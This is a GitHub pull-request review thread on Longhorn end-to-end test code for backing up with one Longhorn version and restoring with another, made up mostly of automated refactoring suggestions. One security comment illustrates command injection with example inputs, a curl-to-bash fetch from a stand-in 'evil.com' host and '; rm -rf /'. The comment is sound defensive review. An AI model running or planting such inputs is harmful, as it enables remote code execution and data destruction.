Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🛠️ Refactor suggestion

Consider using more robust log parsing

While the current checks are functional, they might miss variations in log levels. Consider using regular expressions for more robust matching.

-        assert "level=error" not in logs, f"find string 'level=error' in uninstall log {logs}"
-        assert "level=fatal" not in logs, f"find string 'level=fatal' in uninstall log {logs}"
+        import re
+        assert not re.search(r'level=(error|fatal)\b', logs), \
+               f"Found error or fatal level messages in uninstall log: {logs}"
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
assert "level=error" not in logs, f"find string 'level=error' in uninstall log {logs}"
assert "level=fatal" not in logs, f"find string 'level=fatal' in uninstall log {logs}"
import re
assert not re.search(r'level=(error|fatal)\b', logs), \
f"Found error or fatal level messages in uninstall log: {logs}"

Comment on lines +42 to +54

install_longhorn(){
create_longhorn_namespace
install_backupstores
if [[ "${LONGHORN_INSTALL_METHOD}" == "helm" ]]; then
LONGHORN_REPO_URI=${LONGHORN_REPO_URI:-"https://github.com/longhorn/longhorn.git"}
LONGHORN_REPO_DIR="${TMPDIR}/longhorn"
install_longhorn_by_chart
elif [[ "${LONGHORN_INSTALL_METHOD}" == "manifest" ]]; then
generate_longhorn_yaml_manifest "${TF_VAR_tf_workspace}"
install_longhorn_by_manifest "${TF_VAR_tf_workspace}/longhorn.yaml"
fi
setup_longhorn_ui_nodeport
}
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue

Validate TF_VAR_tf_workspace before use.

The script uses TF_VAR_tf_workspace without validating its existence, which could lead to silent failures.

Add validation before using the workspace variable:

 install_longhorn(){
   create_longhorn_namespace
   install_backupstores
   if [[ "${LONGHORN_INSTALL_METHOD}" == "helm" ]]; then
     install_longhorn_by_chart
   elif [[ "${LONGHORN_INSTALL_METHOD}" == "manifest" ]]; then
+    if [[ -z "${TF_VAR_tf_workspace}" ]]; then
+      echo "Error: TF_VAR_tf_workspace is not set"
+      exit 1
+    }
     generate_longhorn_yaml_manifest "${TF_VAR_tf_workspace}"
     install_longhorn_by_manifest "${TF_VAR_tf_workspace}/longhorn.yaml"
   fi
   setup_longhorn_ui_nodeport
 }

Committable suggestion was skipped due to low confidence.

🧰 Tools
🪛 Shellcheck

[warning] 49-49: TF_VAR_tf_workspace is referenced but not assigned.

(SC2154)

Comment on lines 73 to 77
Uninstall Longhorn stable version
${backups_before_uninstall} = list_all_backups
uninstall_longhorn_system is_stable_version=True
Set Test Variable ${backups_before_uninstall}
Log ${backups_before_uninstall}
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🛠️ Refactor suggestion

Enhance error handling and logging.

The implementation looks good but could benefit from better error handling and structured logging.

 Uninstall Longhorn stable version
+    [Documentation]    Uninstalls the stable version of Longhorn system and captures existing backups.
     ${backups_before_uninstall} =     list_all_backups    
     uninstall_longhorn_system    is_stable_version=True
     Set Test Variable    ${backups_before_uninstall}
-    Log    ${backups_before_uninstall}
+    Log    Backups before uninstall: ${backups_before_uninstall}    level=INFO
+    Run Keyword And Warn On Failure    Should Not Be Empty    ${backups_before_uninstall}
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
Uninstall Longhorn stable version
${backups_before_uninstall} = list_all_backups
uninstall_longhorn_system is_stable_version=True
Set Test Variable ${backups_before_uninstall}
Log ${backups_before_uninstall}
Uninstall Longhorn stable version
[Documentation] Uninstalls the stable version of Longhorn system and captures existing backups.
${backups_before_uninstall} = list_all_backups
uninstall_longhorn_system is_stable_version=True
Set Test Variable ${backups_before_uninstall}
Log Backups before uninstall: ${backups_before_uninstall} level=INFO
Run Keyword And Warn On Failure Should Not Be Empty ${backups_before_uninstall}

Comment on lines 52 to 98
Given Set setting deleting-confirmation-flag to true
And Create volume 0 with dataEngine=${DATA_ENGINE}
And Attach volume 0
And Wait for volume 0 healthy
And Write data 0 300 MB to volume 0
When Create backup 0 for volume 0
Then Verify backup list contains no error for volume 0
And Verify backup list contains backup 0 of volume 0
Then Uninstall Longhorn
And Check Longhorn CRD removed

# Install current version then pull backup and verify data
Then Install Longhorn
And Set setting deleting-confirmation-flag to true
And set_backupstore
And Check backup synced from backupstore
And Create volume 1 from backup 0 in another cluster
And Wait for volume 1 detached
And Attach volume 1
And Wait for volume 1 healthy
Then Check volume 1 data is backup 0 created in another cluster
Then Uninstall Longhorn
And Check Longhorn CRD removed

# Install pervious version and create backup
Then Install Longhorn stable version
And Set setting deleting-confirmation-flag to true
And set_backupstore
And Create volume 2 with dataEngine=${DATA_ENGINE}
And Attach volume 2
And Wait for volume 2 healthy
And Write data 1 300 MB to volume 2
When Create backup 1 for volume 2
Then Verify backup list contains no error for volume 2
And Verify backup list contains backup 1 of volume 2
Then Uninstall Longhorn stable version
And Check Longhorn CRD removed

# Install current version then pull backup and verify data
Then Install Longhorn
And set_backupstore
And Check backup synced from backupstore
And Create volume 3 from backup 1 in another cluster
And Wait for volume 3 detached
And Attach volume 3
And Wait for volume 3 healthy
Then Check volume 3 data is backup 1 created in another cluster
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🛠️ Refactor suggestion

Consider adding volume size verification steps.

The test writes 300MB of data but doesn't verify if the volumes have sufficient capacity. Consider adding volume size checks before writing data.

Add these steps before writing data:

And Verify volume 0 size is at least 300 MB
...
And Verify volume 2 size is at least 300 MB
🧰 Tools
🪛 GitHub Check: codespell

[failure] 76-76:
pervious ==> previous

Then Uninstall Longhorn
And Check Longhorn CRD removed

# Install pervious version and create backup
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue

Fix typo in comment.

There's a typo in the comment: "pervious" should be "previous".

-    # Install pervious version and create backup
+    # Install previous version and create backup
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
# Install pervious version and create backup
# Install previous version and create backup
🧰 Tools
🪛 GitHub Check: codespell

[failure] 76-76:
pervious ==> previous

*** Settings ***
Documentation Uninstallation Checks

Test Tags negative
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue

Consider revising the test tag.

The test is tagged as "negative" but appears to be validating successful backup and restore operations. Consider using a more appropriate tag like "backup" or "migration" to better reflect the test's purpose.

-Test Tags    negative
+Test Tags    backup    migration

Committable suggestion was skipped due to low confidence.

Comment on lines 56 to 60
try:
if backup['metadata']['annotations']['test.longhorn.io/backup-id'] == backup_id:
return backup
except Exception as e:
logging(f"Failed to find annotation test.longhorn.io/backup-id in {backup['metadata']['name']}")
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🛠️ Refactor suggestion

Consider using more specific exception types.

The current implementation uses a broad Exception catch. Consider catching specific exceptions like KeyError for missing dictionary keys to handle different error cases appropriately.

Here's a suggested implementation with specific exception handling:

     try:
         if backup['metadata']['annotations']['test.longhorn.io/backup-id'] == backup_id:
             return backup
-    except Exception as e:
-        logging(f"Failed to find annotation test.longhorn.io/backup-id in {backup['metadata']['name']}")
+    except KeyError as e:
+        logging(f"Missing key in backup metadata: {str(e)} for backup {backup['metadata']['name']}")
+    except Exception as e:
+        logging(f"Unexpected error accessing backup {backup['metadata']['name']}: {str(e)}")
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
try:
if backup['metadata']['annotations']['test.longhorn.io/backup-id'] == backup_id:
return backup
except Exception as e:
logging(f"Failed to find annotation test.longhorn.io/backup-id in {backup['metadata']['name']}")
try:
if backup['metadata']['annotations']['test.longhorn.io/backup-id'] == backup_id:
return backup
except KeyError as e:
logging(f"Missing key in backup metadata: {str(e)} for backup {backup['metadata']['name']}")
except Exception as e:
logging(f"Unexpected error accessing backup {backup['metadata']['name']}: {str(e)}")
🧰 Tools
🪛 Ruff

59-59: Local variable e is assigned to but never used

Remove assignment to unused variable e

(F841)

@chriscchien chriscchien force-pushed the backup_in_other_cluster branch 2 times, most recently from f480d74 to 35ae490 Compare October 24, 2024 08:32
Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 2

🧹 Outside diff range and nitpick comments (1)
e2e/utilities/longhorn-install.sh (1)

16-17: Add error handling for directory creation.

The script creates directories but doesn't validate the operation's success.

 LONGHORN_REPO_DIR="${TMPDIR}/longhorn"
 LONGHORN_REPO_URI=${LONGHORN_REPO_URI:-"https://github.com/longhorn/longhorn.git"}
-mkdir -p ${TMPDIR}
+mkdir -p "${TMPDIR}" || {
+    echo "Error: Failed to create temporary directory"
+    exit 1
+}
📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL

📥 Commits

Files that changed from the base of the PR and between 797c10b and 35ae490.

📒 Files selected for processing (12)
  • e2e/keywords/longhorn.resource (1 hunks)
  • e2e/keywords/volume.resource (2 hunks)
  • e2e/libs/backup/rest.py (1 hunks)
  • e2e/libs/keywords/longhorn_deploy_keywords.py (1 hunks)
  • e2e/libs/longhorn_deploy/base.py (3 hunks)
  • e2e/libs/longhorn_deploy/longhorn_deploy.py (1 hunks)
  • e2e/libs/longhorn_deploy/longhorn_helm_chart.py (2 hunks)
  • e2e/libs/longhorn_deploy/longhorn_kubectl.py (2 hunks)
  • e2e/libs/utility/constant.py (1 hunks)
  • e2e/tests/negative/pull_backup_from_another_longhorn.robot (1 hunks)
  • e2e/utilities/longhorn-install.sh (2 hunks)
  • pipelines/utilities/run_longhorn_e2e_test.sh (2 hunks)
✅ Files skipped from review due to trivial changes (1)
  • e2e/libs/utility/constant.py
🚧 Files skipped from review as they are similar to previous changes (8)
  • e2e/keywords/longhorn.resource
  • e2e/libs/backup/rest.py
  • e2e/libs/keywords/longhorn_deploy_keywords.py
  • e2e/libs/longhorn_deploy/longhorn_deploy.py
  • e2e/libs/longhorn_deploy/longhorn_helm_chart.py
  • e2e/libs/longhorn_deploy/longhorn_kubectl.py
  • e2e/tests/negative/pull_backup_from_another_longhorn.robot
  • pipelines/utilities/run_longhorn_e2e_test.sh
🧰 Additional context used
🪛 Shellcheck
e2e/utilities/longhorn-install.sh

[warning] 49-49: TF_VAR_tf_workspace is referenced but not assigned.

(SC2154)

🔇 Additional comments (10)
e2e/libs/longhorn_deploy/base.py (4)

7-7: LGTM!

The new constant import follows the existing import pattern and is appropriately placed with other constants.


23-23: LGTM!

The signature change to support stable version uninstallation aligns with the PR objectives and maintains backward compatibility.


33-34: Refer to previous review comment about robust log parsing.


46-56: LGTM! Error handling improvements implemented as suggested.

The error handling now consistently logs both stdout and stderr, providing better visibility into installation failures.

e2e/utilities/longhorn-install.sh (4)

28-35: Previous review comment is still applicable.

The function needs validation for LONGHORN_STABLE_VERSION, cleanup of existing repo directory, and error handling for git/helm operations.


37-41: Previous review comment is still applicable.

The redundant assignment should be removed and validation for LONGHORN_STABLE_VERSION should be added.


66-70: Previous review comment is still applicable.

The implementation needs validation for function names to prevent security risks.


42-53: Previous review comment is still applicable.

The script uses TF_VAR_tf_workspace without validation. The static analysis tool confirms this issue.

🧰 Tools
🪛 Shellcheck

[warning] 49-49: TF_VAR_tf_workspace is referenced but not assigned.

(SC2154)

e2e/keywords/volume.resource (2)

94-96: LGTM! Well-structured keyword for MB-specific data writes.

The implementation follows the established pattern and provides useful granularity for data size control in MB units, complementing the existing GB-based keyword.


287-290: Verify backup restoration configuration and error handling.

While the implementation aligns with the PR objectives for cross-cluster backup testing, please consider the following:

  1. The keyword relies on the global ${backups_before_uninstall} variable. Ensure this variable is properly initialized and documented in the test setup.
  2. Consider adding optional parameters for volume configuration (size, replica count) to match the source volume's configuration.
  3. Add error handling for cases where the backup is not found in the list.

Comment on lines 36 to 43
def install_longhorn(self, is_stable_version=False):
current_path=os.getcwd()
full_path = os.path.join(current_path, LONGHORN_INSTALL_SCRIPT_PATH)

if is_stable_version is True:
cmd = ['bash', full_path, LONGHORN_INSTALL_STABLE_SHELL_FUNCTION]
else:
cmd = ['bash', full_path]

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🛠️ Refactor suggestion

Add input validation for the installation script path.

While the command construction is correct, consider adding validation to ensure the installation script exists before execution:

     def install_longhorn(self, is_stable_version=False):
         current_path=os.getcwd()
         full_path = os.path.join(current_path, LONGHORN_INSTALL_SCRIPT_PATH)
+        if not os.path.isfile(full_path):
+            raise FileNotFoundError(f"Longhorn installation script not found at: {full_path}")
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
def install_longhorn(self, is_stable_version=False):
current_path=os.getcwd()
full_path = os.path.join(current_path, LONGHORN_INSTALL_SCRIPT_PATH)
if is_stable_version is True:
cmd = ['bash', full_path, LONGHORN_INSTALL_STABLE_SHELL_FUNCTION]
else:
cmd = ['bash', full_path]
def install_longhorn(self, is_stable_version=False):
current_path=os.getcwd()
full_path = os.path.join(current_path, LONGHORN_INSTALL_SCRIPT_PATH)
if not os.path.isfile(full_path):
raise FileNotFoundError(f"Longhorn installation script not found at: {full_path}")
if is_stable_version is True:
cmd = ['bash', full_path, LONGHORN_INSTALL_STABLE_SHELL_FUNCTION]
else:
cmd = ['bash', full_path]

e2e/tests/negative/pull_backup_from_another_longhorn.robot Outdated Show resolved Hide resolved
}

install_longhorn
if [[ $# -gt 0 ]]; then
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could you elaborate on why this is needed?

Copy link
Contributor Author

@chriscchien chriscchien Nov 11, 2024

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@yangchiu, From file libs/longhorn_deploy/base.py of this PR, a new statement has been added to utilize longhorn-install.sh to install longhorn stable version.

  • longhorn-install.sh is run with no arguments, the install_longhorn function is called which is the default design as before.
  • longhorn-install.sh is run with an argument, the function named by the argument is executed, in this test case, install_longhorn_stable_version will be executed to perform steps for keyword Then Install Longhorn stable version
def install_longhorn(self, is_stable_version=False):
        current_path=os.getcwd()
        full_path = os.path.join(current_path, LONGHORN_INSTALL_SCRIPT_PATH)

        if is_stable_version is True:
            cmd = ['bash', full_path, LONGHORN_INSTALL_STABLE_SHELL_FUNCTION]
        else:
            cmd = ['bash', full_path]

Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@chriscchien Why do we need to pass the function name from robot test code? What would be the drawback of letting the shell script handle it, like:

if [[ -n "${LONGHORN_STABLE_VERSION}" ]]; then
 install_longhorn_stable_version
else
  install_longhorn
fi

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@yangchiu, test case Uninstallation Checks also uses longhorn-install.sh to install Longhorn test version. If the script use environment variable to determin which version to install, this will result in Uninstallation Checks and Pull backup created by another Longhorn system can not running on the same environment.

Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

What about the following?

IS_INSTALL_STABLE_VERSION="${1:-false}"
if [[ "${IS_INSTALL_STABLE_VERSION}" == "true" ]]; then
  # do something
fi

Do you think it's more readable?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Current code, run function name as first argument if the argument exist

./longhorn-install.sh install_longhorn_stable_version

suggestion (if I understand correctly)

./longhorn-install.sh true

Just think if enhance comment for more clear realize the scope as below is acceptable? if not, I will use the suggestion, thank you.

# Check if an argument is passed
if [[ $# -gt 0 ]]; then
    # Run the function specified in the first argument, 
    # ex: ./longhorn-install.sh install_longhorn_stable_version
    $1 
else
    # Run the default install_longhorn function if no argument is provided
    install_longhorn
fi

Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

How about the following:

IS_INSTALL_STABLE_VERSION=true ./longhorn-install.sh 

Can the shell script get the variable?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Updated and tested.

Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 6

🧹 Outside diff range and nitpick comments (1)
e2e/keywords/volume.resource (1)

287-290: Consider improving robustness of backup handling.

While the implementation aligns with the PR objectives for cross-cluster backup testing, there are a few areas that could be enhanced:

  1. The keyword relies on the global variable ${backups_before_uninstall} which could make tests brittle. Consider:

    • Passing the backup list as a parameter
    • Adding validation for the variable's existence
    • Documenting the variable's setup requirements
  2. Add error handling for backup URL retrieval failures to provide better test feedback.

Example enhancement:

 Create volume ${volume_id} from backup ${backup_id} in another cluster
     ${volume_name} =    generate_name_with_suffix    volume    ${volume_id}
+    Variable Should Exist    ${backups_before_uninstall}    msg=Backup list not initialized
     ${backup_url} =    get_backup_url_from_backup_list    ${backups_before_uninstall}    ${backup_id}
+    Should Not Be Empty    ${backup_url}    msg=Failed to retrieve backup URL for ${backup_id}
     create_volume   ${volume_name}    fromBackup=${backup_url}
📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL

📥 Commits

Reviewing files that changed from the base of the PR and between 35ae490 and 76ead1c.

📒 Files selected for processing (12)
  • e2e/keywords/longhorn.resource (1 hunks)
  • e2e/keywords/volume.resource (2 hunks)
  • e2e/libs/backup/rest.py (1 hunks)
  • e2e/libs/keywords/longhorn_deploy_keywords.py (1 hunks)
  • e2e/libs/longhorn_deploy/base.py (3 hunks)
  • e2e/libs/longhorn_deploy/longhorn_deploy.py (1 hunks)
  • e2e/libs/longhorn_deploy/longhorn_helm_chart.py (2 hunks)
  • e2e/libs/longhorn_deploy/longhorn_kubectl.py (2 hunks)
  • e2e/libs/utility/constant.py (1 hunks)
  • e2e/tests/negative/pull_backup_from_another_longhorn.robot (1 hunks)
  • e2e/utilities/longhorn-install.sh (2 hunks)
  • pipelines/utilities/run_longhorn_e2e_test.sh (2 hunks)
🚧 Files skipped from review as they are similar to previous changes (9)
  • e2e/keywords/longhorn.resource
  • e2e/libs/backup/rest.py
  • e2e/libs/keywords/longhorn_deploy_keywords.py
  • e2e/libs/longhorn_deploy/longhorn_deploy.py
  • e2e/libs/longhorn_deploy/longhorn_helm_chart.py
  • e2e/libs/longhorn_deploy/longhorn_kubectl.py
  • e2e/libs/utility/constant.py
  • e2e/tests/negative/pull_backup_from_another_longhorn.robot
  • pipelines/utilities/run_longhorn_e2e_test.sh
🧰 Additional context used
🪛 Shellcheck
e2e/utilities/longhorn-install.sh

[warning] 49-49: TF_VAR_tf_workspace is referenced but not assigned.

(SC2154)

🔇 Additional comments (6)
e2e/libs/longhorn_deploy/base.py (5)

7-7: LGTM: Import follows consistent pattern

The new constant import is properly placed with other related constants.


33-34: Skipping comment as previous review feedback is still applicable

The existing review comment about using regex for more robust log parsing remains valid.


36-44: LGTM: Clean implementation of stable version support

The conditional logic for command construction is well-implemented. Previous suggestion about installation script validation remains valid.


46-56: LGTM: Improved error handling implementation

The error handling has been enhanced as suggested, providing better visibility into failures during the installation process.


23-23: LGTM: Method signature change aligns with requirements

The new parameter allows for version-specific uninstallation, which is necessary for testing backups between different Longhorn versions as specified in the PR objectives.

✅ Verification successful

✓ Method signature change is correctly propagated

The verification shows that all calls to the uninstall method have been properly updated to include the new is_stable_version parameter in both:

  • e2e/libs/longhorn_deploy/longhorn_deploy.py
  • e2e/libs/keywords/longhorn_deploy_keywords.py
🏁 Scripts executed

The following scripts were executed for the analysis:

Script:

#!/bin/bash
# Verify that all calls to uninstall method are updated with the new parameter
ast-grep --pattern 'uninstall($$$)'

Length of output: 37


Script:

#!/bin/bash
# Search for uninstall method calls using ripgrep for better coverage
rg "\.uninstall\(" -A 2

Length of output: 493

e2e/keywords/volume.resource (1)

94-96: LGTM! Well-structured keyword implementation.

The new keyword extends existing functionality by adding size parameter control, maintaining consistency with similar keywords while providing more testing flexibility.

Comment on lines 39 to 40
LONGHORN_STABLE_MANIFEST_URL="https://raw.githubusercontent.com/longhorn/longhorn/${LONGHORN_STABLE_VERSION}/deploy/longhorn.yaml"
install_longhorn_by_manifest "${LONGHORN_STABLE_MANIFEST_URL}"
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue

Add URL validation for manifest download.

The manifest URL construction could be vulnerable to path traversal if LONGHORN_STABLE_VERSION contains malicious values.

Add URL validation:

+# Validate manifest URL format
+if [[ ! "${LONGHORN_STABLE_MANIFEST_URL}" =~ ^https://raw\.githubusercontent\.com/longhorn/longhorn/[^/]+/deploy/longhorn\.yaml$ ]]; then
+    echo "Error: Invalid manifest URL format"
+    exit 1
+fi
+
+# Verify HTTPS certificate
+install_longhorn_by_manifest "${LONGHORN_STABLE_MANIFEST_URL}" --insecure=false
-install_longhorn_by_manifest "${LONGHORN_STABLE_MANIFEST_URL}"

Committable suggestion skipped: line range outside the PR's diff.

Comment on lines +58 to +63
if [[ "${LONGHORN_INSTALL_METHOD}" == "helm" ]]; then
install_longhorn_stable_by_chart
elif [[ "${LONGHORN_INSTALL_METHOD}" == "manifest" ]]; then
install_longhorn_stable_by_manifest
fi
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🛠️ Refactor suggestion

Add validation for LONGHORN_INSTALL_METHOD.

The installation method should be validated before use to prevent undefined behavior.

Add method validation:

+VALID_INSTALL_METHODS=("helm" "manifest")
+if [[ ! " ${VALID_INSTALL_METHODS[@]} " =~ " ${LONGHORN_INSTALL_METHOD} " ]]; then
+    echo "Error: Invalid installation method: ${LONGHORN_INSTALL_METHOD}"
+    echo "Valid methods are: ${VALID_INSTALL_METHODS[*]}"
+    exit 1
+fi
+
 if [[ "${LONGHORN_INSTALL_METHOD}" == "helm" ]]; then
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
if [[ "${LONGHORN_INSTALL_METHOD}" == "helm" ]]; then
install_longhorn_stable_by_chart
elif [[ "${LONGHORN_INSTALL_METHOD}" == "manifest" ]]; then
install_longhorn_stable_by_manifest
fi
VALID_INSTALL_METHODS=("helm" "manifest")
if [[ ! " ${VALID_INSTALL_METHODS[@]} " =~ " ${LONGHORN_INSTALL_METHOD} " ]]; then
echo "Error: Invalid installation method: ${LONGHORN_INSTALL_METHOD}"
echo "Valid methods are: ${VALID_INSTALL_METHODS[*]}"
exit 1
fi
if [[ "${LONGHORN_INSTALL_METHOD}" == "helm" ]]; then
install_longhorn_stable_by_chart
elif [[ "${LONGHORN_INSTALL_METHOD}" == "manifest" ]]; then
install_longhorn_stable_by_manifest
fi

Comment on lines +29 to +32
git clone --single-branch \
--branch "${LONGHORN_STABLE_VERSION}" \
"${LONGHORN_REPO_URI}" \
"${LONGHORN_REPO_DIR}"
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue

Add git clone security measures.

The git clone operation could be vulnerable to command injection if LONGHORN_STABLE_VERSION or LONGHORN_REPO_URI contains malicious values.

Add input validation:

+# Validate version format (e.g., v1.2.3 or master)
+if [[ ! "${LONGHORN_STABLE_VERSION}" =~ ^(v[0-9]+\.[0-9]+\.[0-9]+|master)$ ]]; then
+    echo "Error: Invalid version format: ${LONGHORN_STABLE_VERSION}"
+    exit 1
+fi
+
+# Validate repo URI against whitelist
+ALLOWED_REPOS=("https://github.com/longhorn/longhorn.git")
+if [[ ! " ${ALLOWED_REPOS[@]} " =~ " ${LONGHORN_REPO_URI} " ]]; then
+    echo "Error: Invalid repository URI"
+    exit 1
+fi
+
 git clone --single-branch \
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
git clone --single-branch \
--branch "${LONGHORN_STABLE_VERSION}" \
"${LONGHORN_REPO_URI}" \
"${LONGHORN_REPO_DIR}"
# Validate version format (e.g., v1.2.3 or master)
if [[ ! "${LONGHORN_STABLE_VERSION}" =~ ^(v[0-9]+\.[0-9]+\.[0-9]+|master)$ ]]; then
echo "Error: Invalid version format: ${LONGHORN_STABLE_VERSION}"
exit 1
fi
# Validate repo URI against whitelist
ALLOWED_REPOS=("https://github.com/longhorn/longhorn.git")
if [[ ! " ${ALLOWED_REPOS[@]} " =~ " ${LONGHORN_REPO_URI} " ]]; then
echo "Error: Invalid repository URI"
exit 1
fi
git clone --single-branch \
--branch "${LONGHORN_STABLE_VERSION}" \
"${LONGHORN_REPO_URI}" \
"${LONGHORN_REPO_DIR}"

Comment on lines 66 to 72
if [[ $# -gt 0 ]]; then
$1 # Run the function passed as the first argument
else
install_longhorn
fi
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codebase verification

⚠️ Potential issue

Add function name validation to prevent command injection

Add a whitelist check before executing $1 to only allow the following functions:

  • install_longhorn_by_chart
  • install_longhorn_stable_by_chart
  • install_longhorn_stable_by_manifest
  • install_longhorn
  • install_longhorn_stable_version

Example fix:

allowed_functions=(
    "install_longhorn_by_chart"
    "install_longhorn_stable_by_chart"
    "install_longhorn_stable_by_manifest"
    "install_longhorn"
    "install_longhorn_stable_version"
)

if [[ $# -gt 0 ]]; then
    if [[ " ${allowed_functions[@]} " =~ " $1 " ]]; then
        $1  # Run the whitelisted function
    else
        echo "Error: Function '$1' is not allowed"
        exit 1
    fi
else
    install_longhorn
fi
🔗 Analysis chain

Add function name validation to prevent command injection.

@yangchiu Regarding the previous suggestion about function name validation - this is important because the current implementation directly executes any argument passed to the script. This could allow an attacker to execute arbitrary commands by passing malicious input like "; rm -rf /" or $(malicious_command).

For example:

./longhorn-install.sh '$(curl evil.com/script.sh | bash)'

This is a common shell injection vulnerability (CWE-78). We should maintain a whitelist of allowed functions to prevent arbitrary command execution.


Let me check the context of these files to better understand the usage patterns.


Let me check what functions are defined in the longhorn-install.sh script to understand what functions should be in the whitelist.

🏁 Scripts executed

The following scripts were executed for the analysis:

Script:

#!/bin/bash
# Verify if the script is called with potentially dangerous arguments
rg -l '\$1(\s+#|$)' | xargs -I {} sh -c 'echo "Potential command injection in {}:"'

Length of output: 392


Script:

#!/bin/bash
# Check the context of $1 usage in these files
echo "=== e2e/utilities/longhorn-install.sh ==="
rg -A 5 -B 5 '\$1(\s+#|$)' e2e/utilities/longhorn-install.sh

echo -e "\n=== test_tools/gen_data/run.sh ==="
rg -A 5 -B 5 '\$1(\s+#|$)' test_tools/gen_data/run.sh

echo -e "\n=== manager/test_containers/compatibility/generate_version_image.sh ==="
rg -A 5 -B 5 '\$1(\s+#|$)' manager/test_containers/compatibility/generate_version_image.sh

echo -e "\n=== build_engine_test_images/scripts/generate_images.sh ==="
rg -A 5 -B 5 '\$1(\s+#|$)' build_engine_test_images/scripts/generate_images.sh

Length of output: 2450


Script:

#!/bin/bash
# Get all function definitions in longhorn-install.sh
echo "Functions defined in longhorn-install.sh:"
rg '^[a-zA-Z0-9_-]+\(\)' e2e/utilities/longhorn-install.sh

Length of output: 312

Copy link

mergify bot commented Nov 11, 2024

This pull request is now in conflict. Could you fix it @chriscchien? 🙏

Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 4

🧹 Outside diff range and nitpick comments (1)
e2e/keywords/volume.resource (1)

94-96: Consider maintaining consistent unit handling across similar keywords

The new keyword passes the size parameter directly to write_volume_random_data, while the existing GB variant (Write ${size} GB data to volume ${volume_id}) multiplies by 1024. Consider documenting the unit expectations or implementing consistent unit handling across similar keywords.

-Write data ${data_id} ${size} MB to volume ${volume_id}
-    ${volume_name} =    generate_name_with_suffix    volume    ${volume_id}
-    write_volume_random_data   ${volume_name}    ${size}    ${data_id}
+Write data ${data_id} ${size} MB to volume ${volume_id}
+    ${volume_name} =    generate_name_with_suffix    volume    ${volume_id}
+    ${size_in_mb} =    Evaluate    int(${size})    # Explicit conversion to ensure integer
+    write_volume_random_data   ${volume_name}    ${size_in_mb}    ${data_id}
📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL

📥 Commits

Reviewing files that changed from the base of the PR and between 76ead1c and a3ff222.

📒 Files selected for processing (12)
  • e2e/keywords/longhorn.resource (1 hunks)
  • e2e/keywords/volume.resource (2 hunks)
  • e2e/libs/backup/rest.py (1 hunks)
  • e2e/libs/keywords/longhorn_deploy_keywords.py (1 hunks)
  • e2e/libs/longhorn_deploy/base.py (3 hunks)
  • e2e/libs/longhorn_deploy/longhorn_deploy.py (1 hunks)
  • e2e/libs/longhorn_deploy/longhorn_helm_chart.py (2 hunks)
  • e2e/libs/longhorn_deploy/longhorn_kubectl.py (2 hunks)
  • e2e/libs/utility/constant.py (1 hunks)
  • e2e/tests/negative/pull_backup_from_another_longhorn.robot (1 hunks)
  • e2e/utilities/longhorn-install.sh (2 hunks)
  • pipelines/utilities/run_longhorn_e2e_test.sh (2 hunks)
🚧 Files skipped from review as they are similar to previous changes (9)
  • e2e/keywords/longhorn.resource
  • e2e/libs/backup/rest.py
